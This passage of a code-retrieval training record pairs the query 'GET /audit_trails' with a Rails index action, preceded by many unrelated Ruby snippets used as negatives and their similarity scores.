aggregation[:name] if aggregation.has_key?(:name)\n whitelisted[:kind] = aggregation[:kind]\n whitelisted[:query] = aggregation[:query] if aggregation.has_key?(:query)\n end\n end\n end", "def get_field(key,field)\n request :get, \"#{path_prefix}records/#{ue key}?field=#{ue field}\", :accept_404=>true, :force_encoding => \"ASCII-8BIT\", :raw_response => true\n end", "def facet_query_aggregations\n return {} unless blacklight_config\n\n blacklight_config.facet_fields.select { |k,v| v.query }.each_with_object({}) do |(field_name, facet_field), hash|\n include_zero_hits = facet_field.dig('solr_params', 'facet.mincount') == 0\n salient_facet_queries = facet_field.query.map { |k, x| x[:fq] }\n items = facet_queries.select { |k,v| salient_facet_queries.include?(k) }.reject { |value, hits| !include_zero_hits && hits.zero? }.map do |value,hits|\n salient_fields = facet_field.query.select { |key, val| val[:fq] == value }\n key = ((salient_fields.keys if salient_fields.respond_to? :keys) || salient_fields.first).first\n Blacklight::Solr::Response::Facets::FacetItem.new(value: key, hits: hits, label: facet_field.query[key][:label])\n end\n\n hash[field_name] = Blacklight::Solr::Response::Facets::FacetField.new field_name, items\n end\n end", "def stats_records_by_minute(*args)\n if Config.query_method == :aggregated\n records = fetch_aggregated_records(*args)\n else\n records = fetch_raw_records(*args)\n end\n slice_stats(records, 0, 16)\n end", "def keyValuePairByAggQryTechPenetration(aggregateQuery, bookingColl)\n aggregateCursor = bookingColl.aggregate(aggregateQuery)\n keyArray = []; valueArray = []; returnObj = {}\n uniqueArray = []; techCount = 0; booking = 0\n aggregateCursor.each do |doc|\n techCount += 1\n uniqueArray << doc[:_id][:customers]\n end\n uniqueArray = uniqueArray.uniq\n keyArray << 'techPenetration'; valueArray << ScalarCalculators.calculateRatio(techCount, uniqueArray.size).to_f\n\n returnObj = {\n :key => keyArray,\n :value => valueArray\n }\n return returnObj\n end", "def fetch_fields\n @result.fetch_fields\n end", "def get_article_data(yesterday, view_id, domain_id, article_key)\n\t\t\n\t\tdate_range = @analytics::DateRange.new(start_date: yesterday, end_date: yesterday)\n\t\torder_by = @analytics::OrderBy.new(field_name: 'ga:pageviews', sort_order: 'DESCENDING')\n\t\tmetric = @analytics::Metric.new(expression: 'ga:pageviews')\n\n\t\tdimensions = ['ga:pageTitle', 'ga:pagePath']\n\t\tdimension_type = Array.new\n\t\tdimensions.each do |d|\n\t\t\tdimension = @analytics::Dimension.new\n\t\t\tdimension.name = d\n\t\t\tdimension_type.push(dimension)\n\t\tend\n\n\t\trequest = @analytics::GetReportsRequest.new(\n \t\t\treport_requests: [@analytics::ReportRequest.new(\n \t\t\tview_id: view_id,\n \t\t\tdimensions: dimension_type,\n \t\t\tmetrics: [metric], \n \t\t\t# dimension_filter_clauses: [dimension_filters],\n \t\t\t# dimensions: [dimension], \n \t\t\tdate_ranges: [date_range],\n \t\t\torder_bys: [order_by],\n \t\t\tpage_size: 100_000\n \t\t\t)]\n\t\t)\n\t\tresponse = @client.batch_get_reports(request)\n\t\tmessageHash = {}\n\n\t\t# handling error \n\t\tif !response.reports.first.data.rows then\n\t\t\treturn\n\t\tend\n\n\n\t\tdata_from_google = response.reports.first.data.rows\n\n\t\t# max_position_array = get_max_position(yesterday, view_id)\n\t\t\n\t\tset_ga_data_array = Array.new\n\n\t\t\n\t\tdata_from_google.each_with_index do |r, index|\n\n\t\t\tdatahash = {}\n\t\t\t\n\t\t\t# domain_id\n\t\t\tdatahash['domain_id'] = domain_id\n\n\t\t\t# dimensions = ['ga:pageTitle', 'ga:pagePath']\n\n\t\t\tdatahash['article_title'] = r.dimensions[0]\n\n\t\t\turls_rm_params = r.dimensions[1].split(/\\?/)[0]\n\n\t\t\tdatahash['article_url'] = urls_rm_params\n\n\t\t\t# total_events = 0\n\t\t\t# max_position = 1\n\t\t\t# mobile_device_info = ''\n\t\t\t# if max_position_array != nil\n\t\t\t# \tmax_arr = max_position_array.select{|max| max['article_url'] == r.dimensions[1]}\n\t\t\t# \tif !max_arr.empty?\n\t\t\t# \t\tmax_arr.each do |a|\n\t\t\t# \t\t\tif a['total_events'] > total_events\n\n\t\t\t# \t\t\t\ttotal_events = a['total_events']\n\t\t\t# \t\t\t\tmobile_device_info = a['mobileDeviceInfo']\n\t\t\t# \t\t\t\tmax_position = a['max_position']\n\n\t\t\t# \t\t\telsif a['total_events'] == total_events && a['mobileDeviceInfo'] == 'Apple iPhone'\n\n\t\t\t# \t\t\t\tif mobile_device_info == 'Apple iPhone' && a['max_position'] > max_position\n\t\t\t# \t\t\t\t\tmax_position = a['max_position']\n\t\t\t# \t\t\t\telsif mobile_device_info != 'Apple iPhone'\n\t\t\t# \t\t\t\t\tmobile_device_info = a['mobileDeviceInfo']\n\t\t\t# \t\t\t\t\tmax_position = a['max_position']\n\t\t\t# \t\t\t\tend\n\n\t\t\t# \t\t\tend\n\t\t\t\t\t\t\t\n\t\t\t# \t\tend\n\t\t\t# \tend\n\n\t\t\t# \tdatahash[article_key[i]] = max_position\n\t\t\t# else \n\t\t\t# \tdatahash[article_key[i]] = 25000\n\t\t\t# end\n\n\t\t\tdatahash['max_position'] = 0\n\n\t\t\tset_ga_data_array.push(datahash)\n\t\tend\n\t\t\n\t\treturn set_ga_data_array\n\tend", "def aggregate_fields\n cube_class.aggregate_fields\n end", "def general_field(name)\n self.general_fields.where(fieldable_id: self.id).where(\"payload->>'key' = ?\", name).first\n end", "def search\n @query = params[:q]\n @ads = Ad.within(@city, 30)\n @ads = @ads.fulltext_search(@query).group_by { |x| x.created_at.to_date }\n end", "def by_title(title)\n validate_by_title_args(title)\n\n query = {q: title}\n @params.merge!(query)\n\n perform_request\n end", "def fields_for_query\n self.class.fields_coercions.keys.each_with_object({}) do |field_name, results|\n results[field_name] = @fields.each_with_object({}) do |(locale, fields), field_results|\n field_results[locale] = get_value_from(fields, field_name)\n end\n end\n end", "def fields_for_query\n self.class.fields_coercions.keys.each_with_object({}) do |field_name, results|\n results[field_name] = @fields.each_with_object({}) do |(locale, fields), field_results|\n field_results[locale] = get_value_from(fields, field_name)\n end\n end\n end", "def aggregate(request)\n end", "def find_by_query_columns\n ['title', 'description']\n end", "def fetch_events(type_identifier, aggregate_id, first_sequence_number)\n filter = {\n aggregate_id: aggregate_id,\n aggregate_type: type_identifier,\n sequence_number: {\n '$gte' => first_sequence_number\n }\n }\n\n sort = {\n sequence_number: ASCENDING\n }\n\n @template.event_collection.find(filter).sort(sort)\n end", "def fetch_aggregate(type, id)\n return unless identity_map[type]\n\n identity_map[type][id]\n end", "def opensearch_response(field = nil, extra_controller_params = {})\n field ||= blacklight_config.view_config(:opensearch).title_field\n\n query = search_builder.with(search_state).merge(solr_opensearch_params(field)).merge(extra_controller_params)\n response = repository.search(query)\n\n [search_state.query_param, response.documents.flat_map { |doc| doc[field] }.uniq]\n end", "def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT title , SUM(amount) FROM pledges, projects WHERE pledges.project_id = projects.id GROUP BY(title);\"\nend", "def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_title\n \"Write your SQL query Here\"\n \n\"SELECT projects.title, SUM(amount) \nFROM pledges \nINNER JOIN projects \nON pledges.project_id = projects.id GROUP BY projects.title;\"\nend", "def fetch(name, opts = {})\n return [] unless key = get_key(name)\n\n # TODO API inconsistent return format again:\n return last(name) if opts[:single] == 'last'\n return previous(name) if opts[:single] == 'previous'\n\n return fetch_timespans(key, opts) if opts[:as] == 'timespans'\n return fetch_bool(key, opts) if key[:type] == 'boolean'\n\n\n # below only numeric type\n scope = @db[:numeric_data_points].where(key_id: key[:id])\n scope = scope.where('time > :since', since: opts[:since]) if opts[:since]\n scope = scope.where('time < :until', until: opts[:until]) if opts[:until]\n\n if opts[:step]\n s = step opts[:step] # see Engine::Base#step\n # TODO use date_trunc for pg (main use case)\n if @db.adapter_scheme == :postgres\n f_time = \"floor((extract(epoch from time::timestamp with time zone)/#{s[:span]}))*#{s[:span]}\"\n scope = scope.select(Sequel.lit \"to_timestamp(#{f_time}) AS time\").group(Sequel.lit f_time).select_append { avg(value_avg).as(value_avg) }\n else # sqlite\n f_time = \"(strftime('%s',time)/#{s[:span]})*#{s[:span]}\"\n scope = scope.select(Sequel.lit \"datetime(#{f_time}, 'unixepoch') AS time\").group(Sequel.lit f_time).select_append { avg(value_avg).as(value_avg) }\n end\n end\n\n scope = scope.order(Sequel.desc(:time)).limit(100) # TODO limit option and order, these are defaults for testing\n #puts \"SQL: #{scope.sql}\"\n rows = scope.all\n rows.reverse.map do |r|\n [time_wrap(r[:time]), r[:value_avg]]\n end\n end", "def aggregates\n self.class.instance_variable_get(:@aggregates) || {}\n end", "def aggregates\n Rails.cache.fetch(\"aggregates_#{interval}_#{cache_time}\", expires_in: self.cache_time) {\n ActiveRecord::Base.connection.exec_query(\"\n select\n stddev(sum_downvotes) as stddev,\n sum(sum_downvotes) as sum,\n avg(sum_downvotes) as avg,\n avg(n_comments) as n_comments,\n count(*) as n_commenters\n from (\n select\n sum(downvotes) as sum_downvotes,\n count(*) as n_comments\n from comments join users on comments.user_id = users.id\n where\n (comments.created_at >= '#{period}') and\n users.banned_at is null and\n users.deleted_at is null\n GROUP BY comments.user_id\n ) sums;\n \").first.symbolize_keys!\n }\n end", "def query(soql)\n response = api_get 'query', :q => soql\n mashify? ? response.body : response.body['records']\n end", "def facet_query_aggregations\n return {} unless blacklight_config\n\n query_facet_fields = blacklight_config.facet_fields.select { |_k, v| v.query }\n query_facet_fields.each_with_object({}) do |(field_name, facet_field), hash|\n facet_query_params = facet_field.query.map { |_k, v| v[:fq] }\n response_facet_queries = facet_queries.dup\n response_facet_queries.select! { |k, _hits| facet_query_params.include?(k) }\n response_facet_queries.reject! { |_k, hits| hits == 0 }\n\n items = response_facet_queries.map do |value, hits|\n salient_fields = facet_field.query.select { |_k, v| v[:fq] == value }\n key = ((salient_fields.keys if salient_fields.respond_to? :keys) || salient_fields.first).first\n FacetItem.new(value: key, hits: hits, label: facet_field.query[key][:label])\n end\n\n hash[field_name] = FacetField.new(field_name, items)\n end\n end", "def [](key); @data[\"@fields\"][key] end", "def load_data!(time_start=nil, time_end=nil, tags = {}, agg = \"sum\", downsample = nil)\n metric_data = metrics(time_start, time_end, tags, agg, downsample).first\n if metric_data then\n self.data = metric_data[:vals]\n self.metadata = metric_data[:tags]\n end\n self.query = { :start => time_start, :end => time_end, :tags => tags, :downsample => downsample }\n end", "def hmget(key, *fields, &blk); end", "def specific_search(**args)\n params = parameters(args) do\n required_params :term, :field_type, :field_key\n optional_params :term, :exact_match, :field_type, :field_key, :return_field_key, :return_item_ids, :start, :limit\n end\n request(:get, 'searchResults/field', params)\n end", "def group_by\n\n end", "def group_by\n end", "def aggregate\n data_hash = MediaSourceSerializer.new(\n available_sources, is_collection: true\n ).aggregated_hash\n\n unless params_valid?\n data_hash[:errors] = 'One or more specified MediaSources do not exist'\n end\n\n render json: data_hash.to_json\n end", "def index\n @q = params[:q] || params[:term]\n scope = ObservationField.all\n @order_by = ( ORDER_BY_FIELDS & [params[:order_by]] ).first || ORDER_BY_FIELDS.first\n @order = ( %w(asc desc) & [params[:order]] ).first || \"desc\"\n scope = if @order_by == \"name\"\n scope.order( Arel.sql( \"LOWER(name) #{@order} NULLS LAST\" ) )\n else\n scope.order( \"#{@order_by} #{@order} NULLS LAST\" )\n end\n scope = scope.where(\"lower(name) LIKE ?\", \"%#{@q.downcase}%\") unless @q.blank?\n @observation_fields = scope.paginate(:page => params[:page])\n \n respond_to do |format|\n format.html { render layout: \"bootstrap\" }\n format.json do\n extra = params[:extra].to_s.split(',')\n opts = if extra.include?('counts')\n {:methods => [:observations_count, :projects_count]}\n else\n {}\n end\n render :json => @observation_fields.as_json(opts)\n end\n end\n end", "def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_title\n\"select title, sum(amount)\nfrom projects \ninner join pledges \non projects.id = pledges.project_id\ngroup by title\" \nend", "def index\n @posts = Post.all\n\n if params[:keyword].present?\n @posts = @posts.get_by_keyword params[:keyword]\n end\n\n if params[:shop].present?\n @posts = @posts.get_by_name params[:shop]\n end\n\n if params[:area].present?\n @posts = @posts.search_values_or(:area, params[:area])\n end\n\n if params[:genre].present?\n @posts = @posts.search_values_or(:genre, params[:genre])\n end\n\n if params[:rate_l].present?\n @posts = @posts.get_by_rate_l params[:rate_l]\n end\n\n if params[:rate_u].present?\n @posts = @posts.get_by_rate_u params[:rate_u]\n end\n\n @posts = @posts.page(params[:page])\n end", "def field key\n @fields.get key\n end", "def all(name)\n return nil unless key = get_key(name)\n @db[type_table key[:type]].where(key_id: key[:id]).order(:time).all.map do |x|\n # FIXME numeric aggregation data gets lost\n [x[:time], key[:type] == 'numeric' ? x[:value_avg] : x[:value]]\n end\n end", "def terms_agg(field:, size: 100, order_field: '_count', order_dir: 'desc', min_doc_count: 1, &block)\r\n agg = { agg: { terms: { field: field, size: size, min_doc_count: min_doc_count, order: { order_field => order_dir } } } }\r\n base_agg(agg, block)\r\n end", "def read_metadata_field(field_name)\n @client.get(\"#{metadata_path}/#{field_name}\")\n end", "def search_data\n attributes.merge(location: {lat: latitude, lon: longitude})\n end", "def mongo_daily_views\n \tARTICLE_DAILY_VIEWS.find(:article_id => id).projection(:article_id => 0, :_id => 0).first\n end", "def order_line_report\n #will have 4 columns from the OrderLine table. This goes through the OrderLine method\n @data = OrderLine.find(:all , :select => \"order_id as oid, product_id as pid, product_price as price, ordered_quantity as quantity\", :group => \"oid\")\n end", "def [](key)\n fields[key]\n end", "def [](key)\n fields[key]\n end", "def index\n @grouped_companies = Company.all.group_by(&:geography) \n @companies = params[:q] ? company_filteration(params[:q],params[:region]) : Company.all\n render layout: \"browse\"\n end", "def hget(key, field)\n send_command([:hget, key, field])\n end", "def item_field_group_get(args = { }, options = { })\n _request = Requests::BaseRequest.new(\n args,\n {\n :http_path => '/item/#{path_arguments[:item_id]}/field-group',\n :http_method => :get,\n :parameters => [\n { :name => :item_id, :send_in => :path, :required => true },\n ]\n }.merge(options)\n )\n process_request(_request, options)\n end", "def search_data\n attributes.merge(\n places_city: places.map(&:city),\n places_country: places.map(&:country),\n places_state: places.map(&:state)\n )\n end", "def search(keywords, *fields)\n return all\n end", "def process(collection)\n return collection.inject(Results.new) do |h, k|\n key = k.values[0].to_s =~ /(^[-+]?[0-9]+$)|(\\.0+)$/ ? Integer(k.values[0]) : Float(k.values[0])\n val = serialize(k.values[1].is_a?(String) ? k.values[1].split(',') : k.values[1], @field_type)\n h << Document.new(:_key_name => @field_name, :_key_value => key, key.to_s => val, @count_field => val)\n end\n end", "def full_get(*vars)\n return unless instance.flex_indexable?\n Flex.search_by_id(metainfo, {:refresh => true, :params => {:fields => '*,_source'}}, *vars)\n end", "def facet_field_aggregations\n list_as_hash(facet_fields).each_with_object({}) do |(facet_field_name, values), hash|\n items = values.map do |value, hits|\n i = FacetItem.new(value: value, hits: hits)\n\n # solr facet.missing serialization\n if value.nil?\n i.label = I18n.t(:\"blacklight.search.fields.facet.missing.#{facet_field_name}\", default: [:\"blacklight.search.facets.missing\"])\n i.fq = \"-#{facet_field_name}:[* TO *]\"\n end\n\n i\n end\n\n options = facet_field_aggregation_options(facet_field_name)\n hash[facet_field_name] = FacetField.new(facet_field_name,\n items,\n options)\n\n # alias all the possible blacklight config names..\n blacklight_config.facet_fields.select { |k,v| v.field == facet_field_name }.each do |key,_|\n hash[key] = hash[facet_field_name]\n end if blacklight_config and !blacklight_config.facet_fields[facet_field_name]\n end\n end", "def aggregate(value)\n @query_hash[AGGREGATE][value] = value\n self\n end", "def get_hist_stats_aggregated_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: HistoricalApi.get_hist_stats_aggregated ...'\n end\n # unbox the parameters from the hash\n allowable_values = [\"hour\", \"minute\", \"day\"]\n if @api_client.config.client_side_validation && opts[:'by'] && !allowable_values.include?(opts[:'by'])\n fail ArgumentError, \"invalid value for \\\"by\\\", must be one of #{allowable_values}\"\n end\n allowable_values = [\"usa\", \"europe\", \"asia\", \"asia_india\", \"asia_southkorea\", \"africa_std\", \"southamerica_std\"]\n if @api_client.config.client_side_validation && opts[:'region'] && !allowable_values.include?(opts[:'region'])\n fail ArgumentError, \"invalid value for \\\"region\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/stats/aggregate'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'from'] = opts[:'from'] if !opts[:'from'].nil?\n query_params[:'to'] = opts[:'to'] if !opts[:'to'].nil?\n query_params[:'by'] = opts[:'by'] if !opts[:'by'].nil?\n query_params[:'region'] = opts[:'region'] if !opts[:'region'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'HistoricalAggregateResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['token']\n\n new_options = opts.merge(\n :operation => :\"HistoricalApi.get_hist_stats_aggregated\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: HistoricalApi#get_hist_stats_aggregated\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def fetch(*key); end", "def group_by(grouping_field)\n @grouping_field = grouping_field\n end", "def hmget(key, *fields)\n fields.flatten!(1)\n node_for(key).hmget(key, fields)\n end", "def field_or_param(key)\n\n key = key.to_s\n\n h.fields[key] || (h.fields['params'] || {})[key]\n end", "def pluck(*fields)\n fields = fields.flatten(1).reject(&:blank?).map(&:to_s)\n\n source_fields = fields - EVERFIELDS\n scope = except(FIELD_STORAGES, EXTRA_STORAGES)\n .source(source_fields.presence || false)\n\n hits = raw_limit_value ? scope.hits : scope.scroll_hits(batch_size: DEFAULT_PLUCK_BATCH_SIZE)\n hits.map do |hit|\n if fields.one?\n fetch_field(hit, fields.first)\n else\n fields.map do |field|\n fetch_field(hit, field)\n end\n end\n end\n end", "def batch_query_metric(optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'GET'\n\t\targs[:query]['Action'] = 'BatchQueryMetric'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :dimensions\n\t\t\targs[:query]['Dimensions'] = optional[:dimensions]\n\t\tend\n\t\tif optional.key? :end_time\n\t\t\targs[:query]['EndTime'] = optional[:end_time]\n\t\tend\n\t\tif optional.key? :extend\n\t\t\targs[:query]['Extend'] = optional[:extend]\n\t\tend\n\t\tif optional.key? :filter\n\t\t\targs[:query]['Filter'] = optional[:filter]\n\t\tend\n\t\tif optional.key? :metric\n\t\t\targs[:query]['Metric'] = optional[:metric]\n\t\tend\n\t\tif optional.key? :period\n\t\t\targs[:query]['Period'] = optional[:period]\n\t\tend\n\t\tif optional.key? :project\n\t\t\targs[:query]['Project'] = optional[:project]\n\t\tend\n\t\tif optional.key? :start_time\n\t\t\targs[:query]['StartTime'] = optional[:start_time]\n\t\tend\n\t\tself.run(args)\n\tend", "def [](key)\n field_get key\n end", "def index\n\n @dailymails = Dailymail.collection.aggregate([{ \"$match\" => { \"clearprice\" => { \"$gt\" => 0}}}, { \"$group\" => { \"_id\" => \"$brandname\", \"revenue\" => { \"$sum\" => \"$clearprice\"}, \"brandname\" => {\"$first\" => \"$brandname\"} }},\n { \"$project\" => { \"brandname\" => 1, \"revenue\" => 1, \"_id\" => 0}}, { \"$sort\" => { \"revenue\" => -1}}, { \"$limit\" => 15}])\n render :json => {:result => @dailymails.to_json , status => \"200\" }\n end" ]
[ "0.57637197", "0.555474", "0.5535456", "0.5493557", "0.5434582", "0.5427361", "0.5422831", "0.53900945", "0.53623265", "0.53473926", "0.5331648", "0.5298213", "0.5271002", "0.52702135", "0.52376336", "0.52242035", "0.52080107", "0.52056706", "0.51577044", "0.5091681", "0.5085762", "0.5070053", "0.5067684", "0.5048812", "0.50395554", "0.5037776", "0.5035428", "0.50100636", "0.49712062", "0.49491882", "0.49291545", "0.49291545", "0.48953846", "0.4875587", "0.4858587", "0.48385677", "0.4830866", "0.4830781", "0.4806629", "0.47965488", "0.47868374", "0.47847885", "0.47796184", "0.4776653", "0.47691536", "0.47557157", "0.4752419", "0.4748951", "0.4748694", "0.4743982", "0.47344902", "0.47344902", "0.4727145", "0.47222927", "0.47194934", "0.47169504", "0.4715964", "0.4715934", "0.47149813", "0.4711795", "0.4710264", "0.4706883", "0.4699305", "0.4689004", "0.4688805", "0.46825406", "0.4679369", "0.46760318", "0.46664938", "0.466041", "0.4656772", "0.46560776", "0.46538162", "0.46530366", "0.46326146", "0.462949", "0.46267584", "0.46247712", "0.46212217", "0.4618998", "0.46094036", "0.4607446", "0.4607446", "0.46073812", "0.46066722", "0.46060318", "0.46041116", "0.46036172", "0.45973924", "0.45946786", "0.45932597", "0.45916793", "0.45876932", "0.45851585", "0.45834538", "0.4581288", "0.4580884", "0.45794895", "0.45761615", "0.457486", "0.4574671" ]
0.0
-1
To do: add the option of a maximum number of results
def do_reporting(sorting_method, minimum_threshold, string_method, result) local_pages = pages local_pages = pages.reject {|page| page.send(sorting_method) < minimum_threshold} unless minimum_threshold.nil? local_pages = local_pages.sort_by {|page| page.send(sorting_method)} local_pages.each do |page| addition = page.send(string_method) result << addition << "\n" unless addition.empty? end result end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def results_limit\n # max number of search results to display\n 10\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def get_max_results\n @max_results\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def set_MaxResults(value)\n set_input(\"MaxResults\", value)\n end", "def params\n { :params => { 'max-results' => '1000' }}\n end", "def limit; end", "def limit; end", "def limit; end", "def limit(max_results)\n params[:max_results] = max_results\n self\n end", "def default_limit\n 10\n end", "def miter_limit(limit)\n end", "def limit_max_count_results_to(val)\n @_default_max_count_results = val\n end", "def max_results\n $testCaseID = \"VT229-0012\"\n con_remove\n createContact 20\n \n @count = Rho::RhoContact.find(:count,:max_results)\n puts @count\n Alert.show_status('Contacts',@count,'hide')\n redirect :action => :index\n end", "def limit(limit); end", "def scaffold_auto_complete_results_limit\n scaffold_auto_complete_options[:results_limit]\n end", "def scaffold_auto_complete_results_limit\n scaffold_auto_complete_options[:results_limit]\n end", "def scaffold_search_results_limit\n @scaffold_search_results_limit ||= scaffold_search_results_default_limit\n end", "def max_per_page\n 200\n end", "def max_results=(value)\n @children['max-results'][:value] = value\n end", "def add_limit(limit)\r\n filter.max_returned = limit if limit\r\n end", "def maximum_limit\n 100\n end", "def server_result_limit\n self.parameters[:result_limit]\n end", "def max_matches\n @max_matches || 1000\n end", "def limit; @opts['limit']; end", "def numberOfResults\n @@numberOfResults\n end", "def maxjobs\n runopts(:maxjobs)\n end", "def more_results?()\n #This is a stub, used for indexing\n end", "def enforce_max_records_scan; end", "def limit(val)\n @params[:retmax] = val\n self\n end", "def max_count\n multiple? ? (@schema['max_count'] || :unlimited) : nil\n end", "def doGetMaxCountPerRequest()\n end", "def enforce_max_records_scan=(_arg0); end", "def limit\n @options[:limit]\n end", "def item_limit\n 100\n end", "def maximum_requests\n super\n end", "def apply_limit\n @query = @query.limit(@options[:limit])\n end", "def more_after_limit?\n more_results == :MORE_RESULTS_AFTER_LIMIT\n end", "def limit\n pagination.fetch(:limit, 10).to_i\n end", "def limit count\n count.zero? ? none : super\n end", "def max_items\n main.max_items\n end", "def set_MaxEntries(value)\n set_input(\"MaxEntries\", value)\n end", "def max_pages() 1 end", "def result_limit(offset, limit)\n # we create a new object in case the user wants to store off the\n # filter chain and reuse it later\n APIParameterFilter.new(self.target, @parameters.merge({ :result_offset => offset, :result_limit => limit }))\n end", "def check_number_of_results(li_arr)\n puts \"#{@@info_indicate} start checking if displaying correct number of results\"\n if result_more_then_ten\n assert_true(li_arr.size == 10, 'display 10 results')\n else\n #result_more\n assert_true(li_arr.size == get_data_total_results, 'display all results')\n end\n end", "def facet_list_limit\n (params[:limit]) ? params[:limit] : 20\n end", "def rest\n @options[:limit] - @count if @options[:limit] > 0\n end", "def fetch_with_limit\n start_result = 10\n start_result.step(RESULTS_LIMIT, 10) do |number|\n response = get_subdomains!(number)\n break unless response.items_present?\n end\n end", "def limit\n super\n end", "def limit\n return 0 if just_count?\n limit = if list?\n @params[:limit_per_page_for_list].to_i\n else\n @params[:limit_per_page_for_details].to_i\n end\n limit = 1 if limit < 1\n [limit, MAX_LIST_LIMIT].min\n end", "def total_results\n numberOfRecords\n end", "def total_results\n numberOfRecords\n end", "def length; return @results.length; end", "def limit\n components.fetch(:size)\n end", "def item_max; 64; end", "def set_MaxRecords(value)\n set_input(\"MaxRecords\", value)\n end", "def set_MaxRecords(value)\n set_input(\"MaxRecords\", value)\n end", "def set_MaxRecords(value)\n set_input(\"MaxRecords\", value)\n end", "def results_per_page(num)\n add_actions \"SetResultsPerPage(#{num})\"\n end", "def max_pages\n return 1 if (result_attrs.blank? || result_attrs['totalPages'].blank?)\n attrs['totalPages'].to_i.clamp(1,self.hard_request_limit)\n end", "def fetch_more?(options, resp)\n page_size = options[:_pageSize] || options['_pageSize']\n\n return unless page_size && resp.is_a?(Array)\n resp.pop while resp.length > page_size\n\n resp.length < page_size\n end", "def max_per_page\n nil\n end", "def default_fetch_size\n 100\n end", "def limit\n 7\n end", "def number_of_results(results)\n printf(\"\\n%<results>d results found.\\n\\n\", results: results.length)\n end", "def limit=(x); @opts['limit'] = x; end", "def specific_max_size(number); end", "def length\n @results_list.count\n end", "def max_history; end", "def max_history; end", "def limit\n meta.fetch('limit', nil)\n end", "def limit(value)\n query_proxy = OData::Model::QueryProxy.new(self)\n query_proxy.limit(value.to_i)\n end", "def set_limit\n @limit = 250\n end", "def render_score_limit; end", "def results_complete?(max_results)\n return @snp_list.results_complete?(max_results)\n end", "def results_complete?(max_results)\n complete = true\n @included_snps.each do |snp|\n if max_results != @snps[snp].results.length\n complete = false\n break\n end\n end\n return complete\n end", "def num_results(_args = {})\n @num_results ||= result_ids&.count || 0\n end" ]
[ "0.78867054", "0.7573124", "0.7573124", "0.7573124", "0.7573124", "0.7573124", "0.7573124", "0.7573124", "0.7573124", "0.7573124", "0.7573124", "0.7573124", "0.7573124", "0.7573124", "0.7573124", "0.7573124", "0.7573124", "0.7573124", "0.7573124", "0.7573124", "0.7508982", "0.73751676", "0.73751676", "0.73751676", "0.73751676", "0.73751676", "0.73751676", "0.73751676", "0.73751676", "0.70781314", "0.7077276", "0.7077276", "0.7077276", "0.70687735", "0.69785166", "0.6949858", "0.6892734", "0.6883762", "0.68690777", "0.6829311", "0.6817399", "0.6785573", "0.6742478", "0.67398447", "0.6688646", "0.66800606", "0.6655052", "0.66404", "0.66247445", "0.6577842", "0.656055", "0.6511695", "0.6460283", "0.64391226", "0.64329547", "0.6396255", "0.6369956", "0.6311858", "0.63001", "0.6293768", "0.62898606", "0.6269335", "0.6266454", "0.62647307", "0.6242315", "0.6214282", "0.62039006", "0.61864936", "0.61853015", "0.61716235", "0.61672795", "0.6165046", "0.6153951", "0.61473644", "0.6147191", "0.6147191", "0.61466783", "0.6130773", "0.6114608", "0.61071837", "0.61071837", "0.61071837", "0.6105143", "0.6092731", "0.6075367", "0.60713345", "0.60682565", "0.60526234", "0.60496014", "0.603455", "0.60255015", "0.6022116", "0.60186034", "0.60186034", "0.6016652", "0.60077095", "0.6003563", "0.5995751", "0.59906083", "0.59815156", "0.5981486" ]
0.0
-1
GET /audit_trails or /audit_trails.json
def index @audit_trails = AuditTrail.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
